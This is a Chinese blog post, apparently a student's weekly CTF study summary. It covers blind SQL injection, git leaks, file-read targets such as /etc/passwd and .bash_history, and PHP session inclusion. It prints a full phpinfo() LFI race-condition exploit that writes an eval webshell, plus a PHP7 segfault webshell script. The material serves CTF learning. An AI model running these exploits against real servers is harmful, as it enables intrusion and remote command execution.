2023 10月8日 至 10 月16日学习总结
1.做的题目
[RootersCTF2019]I_<3_Flask_双层小牛堡的博客-CSDN博客
[NCTF2019]SQLi regexp 盲注-CSDN博客
[网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看-CSDN博客
PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客
[NPUCTF2020]ezinclude 文件包含两大 getshell方式-CSDN博客
Bugku sql注入 基于布尔的SQL盲注 经典题where information过滤-CSDN博客
2.知识点
参数爆破
首先就是对网站进行基本的信息收集 但是备份,扫描,抓包
都没有效果的时候可以进行参数爆破
通过工具 arjun可以爆破
arjun -u url -m GET -c 100 -d 5这里是通过慢速 来实现爆破 100个一组 延迟时间为 5
SQL正则盲注 regexp
sql题一般我先进行fuzz 然后进行测试注入
这里给出一个知识点
转义符 \ 构造闭合
select * from username = '\' and password = '';这里的 '\' 可以让 username 绕过 因为我们的注入点是在password上这里解释一下 转义符这里没有过滤 所以我们可以rang \' 变为'select * from username = '\' and password = '#'这个时候 字符串 ' and password 就被外面两个 ' 闭合了所以我们构造 ||1 就可以变为'\' and password = '||1#'这里大家直接去phpmyadmin尝试即可

绕过空格
/**/ 或者 %09
都可以
正则盲注
这里放出了正则和 ^
原理是
假设我的表名为adminselect * from username = '\' and password = ' || password regexp "^a"后面的 "^a" 是开头为 a 的就返回 true 所以我们可以进行盲注
这里还需要00截断后面的引号
但是我们盲注需要通过python 所以这里也介绍一下python的库
python库
首先是 string这里我们就不需要指定 37-128直接通过这个库就可以将可打印的字符输出

然后就是-00截断的库
from urllib import parse这个库是url编码a = parse.unquote('%00')这里就是post的url编码后的00截断
GIT泄露
首先通过扫描可以发现存在git泄露
然后通过工具实现
https://gitcode.net/mirrors/BugScanTeam/GitHack?utm_source=csdn_github_accelerator
然后发现存在的代码是出错的
这里就可以通过 .git文件来恢复数据
GIT数据恢复
首先查看日志git log -all然后通过指定就可以恢复成以前的代码git reset --hard 字符
二次注入的危险函数
addslashes 将输入转变为字符串 原封不动存入数据库
这里的注入闭合 文章里面写的比较详细了 大家去看就可以了
任意文件读取
做这个题的时候 知道任意文件读取是高危 但是确实不知道去看什么比较好
/proc/self/environ
/proc/self/cmdline/etc/passwd 查看存在的用户/home/用户/.bash_history 查看该用户的历史命令
.DS_Store泄露
获取内容了 因为 .DS_Store 存在很多不可见字符
所以我们可以通过hex输出 然后通过瑞士军刀 解密 并且作为文件输出
然后通过工具Python-dsstore-master
来解密获取
PHP LFI getshell
这里确实学到了很多东西
这里的前提都是存在文件包含
存在phpinfo()
如果存在phpinfo界面 我们通过对phpinfo不断发送垃圾包 其中的内容中包含着木马
这个时候我们上传的临时文件就会保存在 临时文件目录下
并且通过linux和win的命名规则存储
我们只需要去包含 就会生成木马
这里只需要通过条件竞争即可
#!/usr/bin/python3
import sys
import threading
import socketdef setup(host, port):TAG = "安全测试"PAYLOAD = """%s\r
<?php file_put_contents('/tmp/shell', '<?=eval($_REQUEST[1])?>')?>\r""" % TAGREQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOADpadding = "A" * 5000REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)# modify this to suit the LFI scriptLFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""return (REQ1, TAG, LFIREQ)def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s2.connect((host, port))s.send(phpinforeq.encode())d = b""while len(d) < offset:d += s.recv(offset)try:i = d.index(b"[tmp_name] => ")fn = d[i + 17:i + 31]except ValueError:return Nones2.send((lfireq % (fn.decode(), host)).encode())d = s2.recv(4096)s.close()s2.close()if d.find(tag.encode()) != -1:return fn.decode()counter = 0class ThreadWorker(threading.Thread):def __init__(self, e, l, m, *args):threading.Thread.__init__(self)self.event = eself.lock = lself.maxattempts = mself.args = argsdef run(self):global counterwhile not self.event.is_set():with self.lock:if counter >= self.maxattempts:returncounter += 1try:x = phpInfoLFI(*self.args)if self.event.is_set():breakif x:print("\n成功!Shell已创建在 /tmp/shell")self.event.set()except socket.error:returndef getOffset(host, port, phpinforeq):"""获取php输出中tmp_name的偏移量"""s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.send(phpinforeq.encode())d = b""while True:i = s.recv(4096)d += iif i == b"":break# detect the final chunkif i.endswith(b"0\r\n\r\n"):breaks.close()i = d.find(b"[tmp_name] => ")if i == -1:raise ValueError("在phpinfo输出中未找到php tmp_name")print("在位置 %i 找到 %s" % (i, d[i:i + 10].decode()))# 加一些填充return i + 256def main():print("LFI With PHPInfo()")print("-=" * 30)if len(sys.argv) < 2:print("用法:%s 主机 [端口] [线程数]" % sys.argv[0])sys.exit(1)try:host = socket.gethostbyname(sys.argv[1])except socket.error as e:print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])host = socket.gethostbyname(sys.argv[1])except socket.error as e:print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])sys.exit(1)port = int(sys.argv[2]) if len(sys.argv) > 2 else 80numthreads = int(sys.argv[3]) if len(sys.argv) > 3 else 10phpinforeq, tag, lfireq = setup(host, port)offset = getOffset(host, port, phpinforeq)print("\n[*] 开始进行LFI攻击...")threads = []e = threading.Event()l = threading.Lock()try:for i in range(numthreads):t = ThreadWorker(e, l, 100, host, port, phpinforeq, offset, lfireq, tag)threads.append(t)t.start()while not e.is_set():try:e.wait(1)except KeyboardInterrupt:print("\n[*] 收到中断信号,正在停止攻击...")e.set()except socket.error as e:print("连接错误:%s" % str(e))for t in threads:t.join()print("\n[*] 攻击结束。")if __name__ == "__main__":main()
大家还是读读上面代码 也能学到内容
PHP7 Segment Falut
首先是 php7 的一个漏洞
通过特定伪协议包含文件会发生段错误 这个时候上传的文件会保存在临时文件下 并且不会被删除php://filter/sring.strip_tags
存在dir类型的页面
我们只需要去包含里面的漏洞文件即可
不存在dir类型页面
通过爆破实现即可
下面是存在dir页面的时候的脚本
# -*- coding: utf-8 -*-
import re
import requests
from io import BytesIO# 定义漏洞URL和文件路径
vul_url = "http://localhost/index.php?file=php://filter/string.strip_tags/resource=C:/Windows/win.ini"
url2 = "http://localhost/dir.php"# 构建文件
files = {'file': BytesIO('<?php eval($_REQUEST[1]);?>')}# 发送漏洞利用请求
req = requests.post(url=vul_url, files=files, allow_redirects=False)
req2 = requests.get(url=url2)
# 获取临时文件名
content1 = re.search(r"php[a-zA-Z0-9]{1,}.tmp", req2.content).group(0)# 构建获取目录列表的URL
url3 = "http://localhost/index.php?file=C:/Windows/{}".format(content1)# 构建命令
data = {1: "system('dir');"
}# 发送获取目录列表的请求
req3 = requests.post(url=url3, data=data)# 输出结果
print u"目录列表:\n{}".format(req3.text)
SESSION LIF getshell
HAVE SESSION
一样 需要存在文件包含漏洞
这里是通过session 用户会话getshell
首先我们发送存在session的包的时候 会在session存储位置保存着session文件
取名是为 sess_输入
Cookie: PHPSESSID=输入
一般处理会话 要么是通过 原始输入 要么就是通过序列化输入
如果不对用户会话文件进行处理 那么我们只需要写入一句话即可
如果对用户会话进行base64加密 那么我们只需要 构造 4个字符一组的方式 解密即可
记住要过滤掉特殊字符
NO SESSION
当session没有开启的时候
我们可以通过php的特性 文件上传的时候
传递
session.upload_progress.name:<?php phpinfo();?>这个内容是可控的 并且原本文件上传就存在 如果还发送一次 就开启session 并且存入临时文件
这里的流程图为
文件上传 --->设置session -----> 传递session.upload_progress.name 造成session开启 存入内容
这里去看原本的文章更加详细
SQL过滤许多的盲注
这道题确实过滤了巨多东西
这里的知识点
方法一
select substr('flag',1)---->flagselect substr('flag',2)---->lag然后我们只需要两次substr 并且倒装输出即可select reverse(substr('flag',1)) ---->galfselect substr(reverse(substr('flag',1)),4)----->fselect substr(reverse(substr('flag',1)),3)----->fl
然后盲注过滤了 = 号 我们可以通过 <> 不等号实现
1 <> 1 返回false1 <> 2 返回 true
因为过滤了查询列名和表名的系统库 所以这里直接通过 字典爆破即可
方法二
通过 减去 来实现
a'or((ascii(substr((select(password))from(1)))-48))--
这里也是因为 过滤了 = 号
这里也推荐大家去看上面文章 写的详细 这里只是简单的记录
3.不足
这些题 混在一起 我就有点没想到 git那种题目的确实很简单 但是确实也是没有想到
4.下一周计划
专心准备比赛
相关文章:
2023 10月8日 至 10 月16日学习总结
1.做的题目 [RootersCTF2019]I_<3_Flask_双层小牛堡的博客-CSDN博客 [NCTF2019]SQLi regexp 盲注-CSDN博客 [网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看-CSDN博客 PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客 …...
【Java 进阶篇】深入了解 Bootstrap 表格和菜单
表格和菜单是网页设计中的重要组成部分,它们用于展示数据、导航和用户交互。Bootstrap 是一个强大的前端框架,提供了丰富的表格样式和菜单组件,使开发者能够轻松创建功能丰富的网页。在本文中,我们将深入探讨 Bootstrap 中表格和菜…...
java的for循环中遇到异常抛出后继续循环执行
java的for循环中遇到异常抛出后继续循环执行 Test public void loopTryCatchTest() throws Exception {Map<String, Object> a new HashMap();a.put("a", "1");a.put("b", null);a.put("c", "3");for (Map.Entry<…...
【Javascript】构造函数之new的作用
目录 new的作用 把对象返回了回来 无new 有new 把构造函数的this指向了要返回的对象 无new编辑 有new new的执行流程 new的作用 创建了新空对象将构造函数的作用域赋值给新对象(this指向新对象)执行构造函数代码 (为这个新对象添加属性)返回新对…...
粘包和半包问题及解决办法
粘包问题是指数据在传输时,在一条消息中读取到了另一条消息的部分数据,这种现象就叫做粘包。 半包问题是指数据在传输时,接收端只收到了部分数据,而非完整的数据,就叫做半包。 产生粘包和半包问题原因: …...
MySQL数据库查询实战操作
前置条件: 创建库:MySQL基本操作之创建数据库-CSDN博客 创建表:MySQL基本操作之创建数据表-CSDN博客 目录 常规查询常用函数union查询一、常规查询 1、查询所有姓名以 "张" 开头的学生: SELECT * FROM student WHERE name LIKE 张%; 这条语句使用 LIKE 运算…...
Elasticsearch 8.9 Master节点处理请求源码
大家看可以看ElasticSearch源码:Rest请求与Master节点处理流程(1) 这个图非常好,下午的讲解代码在各个类和方法之间流转,都体现这个图上 一、Master节点处理请求的逻辑1、节点(数据节点)要和主节点进行通讯࿰…...
Python---练习:while循环案例:猜数字
需求: 计算机从1 ~ 10之间随机生成一个数字,然后提示输入数字,如果我们输入的数字与随机数相等,则提示恭喜你,答对了。如果输入的数字比随机数大,则提示,猜大了。反之,则提示猜小了…...
CRM自动化意味着什么?企业如何从中受益?
客户关系管理(CRM)软件不再仅仅适用于大公司或销售周期长的行业,它越来越成为各种规模企业的重要工具。 在日常工作中,当你陷入流程的所有细节时,可能会产生不必要的工作。因此,如果你想要CRM提供的组织和…...
Python大数据之PySpark
PySpark入门 1、 Spark与PySpark 1、 Spark与PySpark...
网工记背命令(7)----静态路由(负载分担,主备备份)
1.静态路由负载分担 如图所示,属于不同网段的主机通过几台 Switch 相连,要求不配置动态路由协议,使不同网 段的任意两台主机之间能够互通,从拓扑图中可以看出,从 PCA 到 PCC 有两条路径可以过去,分别是 PC…...
error: unable to read askpass response from
报错信息 解决方法: 中文:文件-->设置-->版本控制-->Git-->勾选使用凭证帮助程序 英文:File -> Settings -> Version Control -> Git / Check "User credential Helper" 因为我的webstrom是中文版的&#…...
运行stable-diffusion-xl-refiner-1.0遇到version `GLIBCXX_3.4.29‘ not found的问题
一、问题背景 https://huggingface.co/stabilityai/stable-diffusion-xl-refiner-1.0 在运行示例程序时候遇到GLIBCXX_3.4.29‘ not found diffusers to > 0.18.0 import torch from diffusers import StableDiffusionXLImg2ImgPipeline from diffusers.utils import loa…...
Ubuntu - 安装 Elasticsearch(ES)
注意:以下步骤基于 Elasticsearch 7.x 版本。版本可能会随时间而变化,请查看 Elasticsearch 官方网站以获取最新的版本信息。 添加 Elasticsearch APT 仓库: 打开终端,并使用以下命令添加 Elasticsearch APT 仓库到系统…...
字节码进阶之java Instrumentation原理详解
文章目录 0. 前言1. 基础2. Java Instrumentation API使用示例 3. Java Agent4. 字节码操作库5. 实际应用6. 注意事项和最佳实践 0. 前言 Java Instrumentation是Java API的一部分,它允许开发人员在运行时修改类的字节码。使用此功能,可以实现许多高级操…...
Android 13.0 锁屏页面禁止下拉状态栏
1.概述 在13.0的系统产品定制化中,在默认的锁屏界面的时候原生系统是可以下拉状态栏的,但是定制的产品是需要禁用下拉状态栏的,所以需要在锁屏页面的时候禁用下拉状态栏,需要从两部分查看下拉状态栏流程然后禁用状态栏 接下来就来分析下看这个功能怎么实现 2.锁屏页面禁止…...
Windows10 Docker 安装教程
Docker Desktop是什么? Docker Desktop是适用于Windows的Docker桌面,是Docker设计用于在Windows 10上运行。它是一个本地 Windows 应用程序,为构建、交付和运行dockerized应用程序提供易于使用的开发环境。Docker Desktop for Windows 使用 …...
JWT认证
目录 前言 JWT组成部分 JWT工作原理 在Express中使用JWT 安装JWT相关的包 导入JWT相关的包 定义密钥 登录成功后调用jwt.sign()生成JWT字符串 将JWT字符串还原为JSON对象 捕获解析JWT失败后产生的错误 结尾 前言 Session 认证机制需要配合 Cookie 才能实现。由于 Co…...
【网络安全 --- xss-labs靶场通关(1-10关)】详细的xss-labs靶场通关思路及技巧讲解,让你对xss漏洞的理解更深刻
靶场安装: 靶场安装请参考以下博客,既详细有提供工具: 【网络安全 --- xss-labs靶场】xss-labs靶场安装详细教程,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源)-CSDN博客【网络安全 --- xss-labs通…...
Mathematics-Vocabulary·数学专业英语词汇
点击查看: Mathematics-Vocabulary数学专业英语词汇点击查看: Mathematics-Vocabulary-Offline数学专业英语词汇离线版本 Chinese-English translation英译汉The study of mathematics in English requires understanding the subject-specific vocabulary and terminology. Ma…...
日语AI面试高效通关秘籍:专业解读与青柚面试智能助攻
在如今就业市场竞争日益激烈的背景下,越来越多的求职者将目光投向了日本及中日双语岗位。但是,一场日语面试往往让许多人感到步履维艰。你是否也曾因为面试官抛出的“刁钻问题”而心生畏惧?面对生疏的日语交流环境,即便提前恶补了…...
大模型多显卡多服务器并行计算方法与实践指南
一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术,以解决单机资源不足的问题。分布式训练主要分为两种模式: 数据并行:将数据分片到不同设备,每个设备拥有完整的模型副本 模型并行:将模型分割到不同设备,每个设备处理部分模型计算 现代大模型训练通常结合…...
MySQL用户和授权
开放MySQL白名单 可以通过iptables-save命令确认对应客户端ip是否可以访问MySQL服务: test: # iptables-save | grep 3306 -A mp_srv_whitelist -s 172.16.14.102/32 -p tcp -m tcp --dport 3306 -j ACCEPT -A mp_srv_whitelist -s 172.16.4.16/32 -p tcp -m tcp -…...
在web-view 加载的本地及远程HTML中调用uniapp的API及网页和vue页面是如何通讯的?
uni-app 中 Web-view 与 Vue 页面的通讯机制详解 一、Web-view 简介 Web-view 是 uni-app 提供的一个重要组件,用于在原生应用中加载 HTML 页面: 支持加载本地 HTML 文件支持加载远程 HTML 页面实现 Web 与原生的双向通讯可用于嵌入第三方网页或 H5 应…...
Python 包管理器 uv 介绍
Python 包管理器 uv 全面介绍 uv 是由 Astral(热门工具 Ruff 的开发者)推出的下一代高性能 Python 包管理器和构建工具,用 Rust 编写。它旨在解决传统工具(如 pip、virtualenv、pip-tools)的性能瓶颈,同时…...
【网络安全】开源系统getshell漏洞挖掘
审计过程: 在入口文件admin/index.php中: 用户可以通过m,c,a等参数控制加载的文件和方法,在app/system/entrance.php中存在重点代码: 当M_TYPE system并且M_MODULE include时,会设置常量PATH_OWN_FILE为PATH_APP.M_T…...
代码规范和架构【立芯理论一】(2025.06.08)
1、代码规范的目标 代码简洁精炼、美观,可持续性好高效率高复用,可移植性好高内聚,低耦合没有冗余规范性,代码有规可循,可以看出自己当时的思考过程特殊排版,特殊语法,特殊指令,必须…...
MinIO Docker 部署:仅开放一个端口
MinIO Docker 部署:仅开放一个端口 在实际的服务器部署中,出于安全和管理的考虑,我们可能只能开放一个端口。MinIO 是一个高性能的对象存储服务,支持 Docker 部署,但默认情况下它需要两个端口:一个是 API 端口(用于存储和访问数据),另一个是控制台端口(用于管理界面…...
华为OD机试-最短木板长度-二分法(A卷,100分)
此题是一个最大化最小值的典型例题, 因为搜索范围是有界的,上界最大木板长度补充的全部木料长度,下界最小木板长度; 即left0,right10^6; 我们可以设置一个候选值x(mid),将木板的长度全部都补充到x,如果成功…...
CppCon 2015 学习:Time Programming Fundamentals
Civil Time 公历时间 特点: 共 6 个字段: Year(年)Month(月)Day(日)Hour(小时)Minute(分钟)Second(秒) 表示…...
